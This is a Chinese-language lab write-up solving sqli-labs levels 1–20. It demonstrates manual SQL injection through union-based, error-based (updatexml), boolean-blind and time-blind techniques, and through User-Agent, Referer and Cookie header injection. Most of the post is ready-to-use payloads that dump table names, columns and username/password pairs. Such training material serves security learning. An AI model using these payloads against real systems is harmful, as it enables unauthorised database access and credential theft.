Sqli-labs靶场实录(一):Basic Challenges
sqli-labs靶场实录:Basic Challenges
- sql手注基本流程
- Less-1
- 1.1探测注入点
- 1.2判断字段数
- 1.3判断回显位
- 1.4提取数据库基本信息
- 1.5拖取敏感数据
- Less-2
- Less-3
- Less-4
- Less5
- 爆表
- 爆列名
- Less6
- 爆库
- 爆表
- 爆列名
- Less7
- 猜解数据库长度
- 逐字符爆破数据库名
- Less8
- 爆库
- Less9
- 爆库
- Less10
- Less11
- Less12
- Less13
- Less14
- Less15
- 爆库
- Less16
- Less17(更新查询注入)
- Less18
- Less19
- Less20
- 免责声明:
sql手注基本流程
-
探测注入点和注入类型:在URL参数、表单等输入处插入单引号(‘)或逻辑语句(如’ OR 1=1–),观察是否返回数据库错误或异常数据,确认存在漏洞。
-
判断字段数:使用
ORDER BY n
逐步增加n值,直至页面报错,确定查询字段数量(如ORDER BY 3
报错则字段数为2)。 -
定位回显位:通过
UNION SELECT 1,2,3
匹配字段数,观察页面显示的数字位置(如显示"2"),确定可回显数据的字段。 -
提取数据库信息:在回显位替换为数据库函数,如
@@version
(版本)、database()
(当前库名),获取基础信息。 -
拖取敏感数据:查询系统表(如MySQL的information_schema.tables/columns),逐步获取表名、字段名,最终用
UNION SELECT username,password FROM users
提取数据。
Less-1
1.1探测注入点
这里通过提示可知需要通过输入id查询信息
故我们在url后拼接?id=1
发现页面改变
故判断存在数据库查询
接下来尝试输入?id=1 and 1=1
和?id and 1=2
观察是不是数字型注入
可以看到页面无变化
故不是数字型注入
下面构造?id=1'
可以看到页面报错
故存在字符型注入
构造?id=1'--+
成功闭合
1.2判断字段数
这里通过order by判断字段数
不断变化数字
出现报错则超过列数
构造?id=1'order by 3--+
页面正常
构造?id=1'order by 3--+
页面报错
故得出字段为3
1.3判断回显位
构造?id=-1'union select 1,2,3--+
得出回显位为2,3
1.4提取数据库基本信息
构造?id=-1'union select 1,database(),version()--+
得出数据库名为security 版本为5.5.47
1.5拖取敏感数据
查表名
构造?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
得到四个表名
解释:这里通过参数注入的方式,将恶意 SQL 语句嵌入到正常的查询中。
-1'
用于闭合原始查询中的字符串,union select
用来合并查询结果。group_concat(table_name)
将数据库中的所有表名合并成一列,information_schema.tables
是 MySQL 的元数据表,存储了数据库的表信息。where table_schema='security'
限制查询范围为security
数据库中的表。--+
是注释符号,用于忽略后面的内容。
查列名
构造
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到对应列名
解释:
-1'
:闭合原始 SQL 查询中的条件,破坏其逻辑。union select
:将攻击者的查询与原始查询合并,返回自定义结果。1,2
:占位符,匹配原始查询的列数,避免语法错误。group_concat(column_name)
:将查询结果中的列名拼接成一行,方便输出。information_schema.columns
:MySQL 的元数据表,存储所有表的列信息。table_name='users'
:限制查询范围为users
表。--+
:注释符号,忽略后续内容,避免语法错误。
爆数据
构造?id=-1' union select 1,2,group_concat(username ,password) from users--+
得到账户密码
Less-2
这一关从字符型注入转为了数字型注入
payload和第一关的唯一区别是id=1后面不再使用引号
其余正常使用
故po出测试payload如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
Less-3
这一关在测试注入点时发现报错信息出现了一个)
故尝试构造
?id=1')--+
闭合原查询语句的括号并注释掉查询语句后面的内容
故得出和前几关类似的payload如下
?id=1') order by 3--+(字段数判断)
?id=-1') union select 1,2,3--+(回显位判断)
?id=-1') union select 1,database(),version()--+(数据库信息判断)
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(表名判断)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(列名判断)
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+(数据脱取)
Less-4
这一关测试注入点时发现输入单引号时页面不报错
说明不是单引号闭合
改用双引号闭合时报错
报错信息出现)
尝试构造
?id=1")–+
闭合成功
故可以得到类似的一系列payload
?id=1") order by 3--+(查字段)
?id=-1") union select 1,2,3--+(查回显位)
?id=-1") union select 1,database(),version()--+(查数据库信息)
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(查表名)
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(查列名)
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+(查信息)
Less5
这一关在判断注入点时输入?id=1'
报错
构造?id=1'--+
成功闭合
判断为字符型注入
与前面四关不同
这一关不会回显任何信息
却有数据库回显错误
故尝试使用报错函数updatexml
进行注入
先构造?id=1' and updatexml(1,1,1)--+
接着操控第二个参数
构造
?id=1'and updatexml(1,concat(1,1),1)--+
最后操控concat函数的第二个参数得到嵌套结果
用于查询数据库名
?id=1'and updatexml(1,concat(1,(select database())),1)--+
爆表
构造
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
解释:
- 闭合引号:
?id=1'
闭合原SQL语句中的单引号,添加注入条件。- 构造报错:
updatexml(1, concat(1, (子查询)), 1)
:
concat(1, ...)
:将子查询结果与数字1
拼接,生成非法XPath格式(如1users,posts
),触发错误。- 子查询:
select group_concat(table_name) from information_schema.tables where table_schema='security'
提取security
数据库的所有表名,group_concat
合并为单行字符串
爆列名
构造?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
解释:
- 闭合注入:
?id=1'
闭合原SQL单引号,引入恶意逻辑。- 触发报错:
updatexml(1, concat(1, (子查询), 1)
:
concat(1, ...)
:拼接子查询结果与1
,构造非法XPath(如1id,username,password
),触发语法错误。- 子查询:
提取select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
security
库中users
表的所有字段名,合并为单行(如id,username,password
)
Less6
这一关和上一关类似
测试注入符号时发现双引号报错
判断闭合方式换成了双引号闭合
故得到如下payload
爆库
?id=1"and updatexml(1,concat(1,(select database())),1)--+
爆表
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
爆列名
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
Less7
这一关测一下闭合符号
一顿操作后发现可以构造?id=1'))--+
进行闭合
尝试仿制上面的payload看看
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
报错信息显示语法有问题
故这里用不了报错注入
尝试一些布尔盲注看看
猜解数据库长度
构造?id=1')) and length(database())=8--+
页面正常
构造?id=1')) and length(database())=9--+
页面报错
故得出长度为8
逐字符爆破数据库名
构造?id=1')) and ascii(substr(database(),1,1))>114--+
页面正常
构造?id=1')) and ascii(substr(database(),1,1))>115--+
页面报错
故得知数据库第一个字符ascii码为115=s
构造?id=1')) and ascii(substr(database(),2,1))>100--+
页面正常
构造?id=1')) and ascii(substr(database(),2,1))>101--+
页面报错
故得出第二个字符ascii码=101=e
逐步测试可爆出库名security
Less8
这里测一下该注入是怎么闭合的
尝试几个字符后可构造?id=1'--+
进行闭合
观察页面可知
页面只会回显ture
和flase
两种情况
故判断这里只能通过布尔盲注来测试
爆库
构造?id=1' and ascii(substr(database(),1,1))>114--+
页面正常
构造?id=1' and ascii(substr(database(),1,1))>115--+
页面无回显
故得出数据库第一个字母为s
ascii
=115
以此类推
得出数据库名=security
Less9
这一关测试了一下
发现不管id后拼接何值
页面都回显一样的内容
故判断布尔盲注失效
改用时间盲注测试
构造?id=1' and if(1=1,sleep(5),1)--+
发现页面延迟5s回显
故得出闭合条件为单引号闭合
爆库
构造?id=1'and if(length((select database()))>7,sleep(5),1)--+
延迟回显
构造?id=1'and if(length((select database()))>8,sleep(5),1)--+
正常回显
故得出数据库长度为8
构造?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
页面延迟回显
得出数据库第一个字母为s
以此类推得出数据库名security
Less10
这一关测试了一下发现和第九关的本质区别在于这里采用的是双引号闭合
将上一关payload
的单引号统一换成双引号后即可沿用
这里不过多赘述
Less11
这一关和前面的关卡比起来先进了许多
使用了登录框
但是换汤不换药
注入点由url
切换成了输入框
故我们在username
和password这两个参数进行测试即可
输入1’
页面报错
猜测存在字符型注入
类型为单引号闭合
测一下注释
发现前面--+
的注释条件无法沿用了
故改用#
注释
构造1'#
成功闭合
知道了闭合条件和注释符号就简单了
基于第一关的payload稍加改动即可进行漏洞的利用
这里给出爆出的库名payload示例
构造1'union select 1,database()#
即可
其他表名,列名同理
就不过多赘述了
Less12
这一关测了一下闭合符号
发现由单引号变成了双引号闭合
但是可以看到报错信息出现了括号
猜测原始查询语句为username=("1")
故构造1")#
成功闭合
payload的制作思路和上一关类似
只不过是闭合符号的不同罢了
示例构造1")union select 1,database()#
爆出库名
Less13
这一关的可以构造闭合语句1')#
但是尝试沿用上面的payload不成功
语句正确时页面不会回显任何信息
故这里采用报错注入
payload沿用第五关的即可
构造1')and updatexml(1,concat(1,(select database())),1)#
爆出库名
Less14
这一关闭合语句为1"#
payload的制作仿用第13关的报错注入即可
构造1"and updatexml(1,concat(1,(select database())),1)#
爆出库名
Less15
这一关使用普通注入和报错注入都无效
尝试使用盲注
爆库
构造1'or (length(database())=7)#
页面报错
构造1'or (length(database())=8)#
页面正常回显
故得出数据库长度为8
构造1'or (ascii(substr(database(),1,1)))=114#
页面报错
构造1'or (ascii(substr(database(),1,1)))=115#
页面正常回显
故得出数据库第一个字母为s
以此类推得出库名security
Less16
这一关还是需要盲注
但是闭合符号换成了")
闭合
盲注手法沿用第十五关的即可
示例构造1")or (ascii(substr(database(),1,1)))=115#
页面正常回显
得出数据库首字母=s
Less17(更新查询注入)
这一关可以看到是一个密码重置的页面
故这是一次功能点的测试
使用用户admin
进行测试
因为重置密码涉及update
的数据库语句
故判断漏洞可能出现在new password
参数里面
尝试在对应输入框进行注入
构造admin/1'
发现数据库报错
构造admin/1'#
闭合成功
经测试这里普通注入行不通
故采用报错注入
构造admin/1'and updatexml(1,concat(1,database()),1)#
报错出数据库
Less18
这一关可以看到页面出现了本机IP地址
说明我们的信息被网站记录进了数据库
那么判断这里可能存在HTTP头注入
我们输入正确的账户密码看看(前面密码重置那一关可以自己设置admin账户的密码)
登录成功
发现显示User-agen头
故在User-agent参数进行注入测试
这里要判断一下注入是否存在
我们用Bp抓包发到重放器改包
在User-agent参数后加上单引号
发现数据库报错
故存在注入点
这里我们可以通过报错注入得到数据库名称
基于源码切片
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
我们可以得到User agent
的参数组成如下
(`uagent`, `ip_address`, `username`)
故构造'and updatexml(1,concat(1,database()),1)and'
成功爆库
Less19
这一关仍是Http头注入
登录成功后我们发现
这次显示的是Refer头
故在Refer
参数构造payload
注入即可
同理上一关抓包改包
构造:'and updatexml(1,concat(1,database()),1)and'
爆库成功
Less20
这一关登录成功后发现页面回显3个参数
因为这个仍是HTTP头注入
在测试前两个参数注入无果后尝试选择Cookie参数注入
刷新一下页面
拦截一下这个带cookie的请求
抓包改包
构造admin'and updatexml(1,concat(1,database()),1)#
爆库成功
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。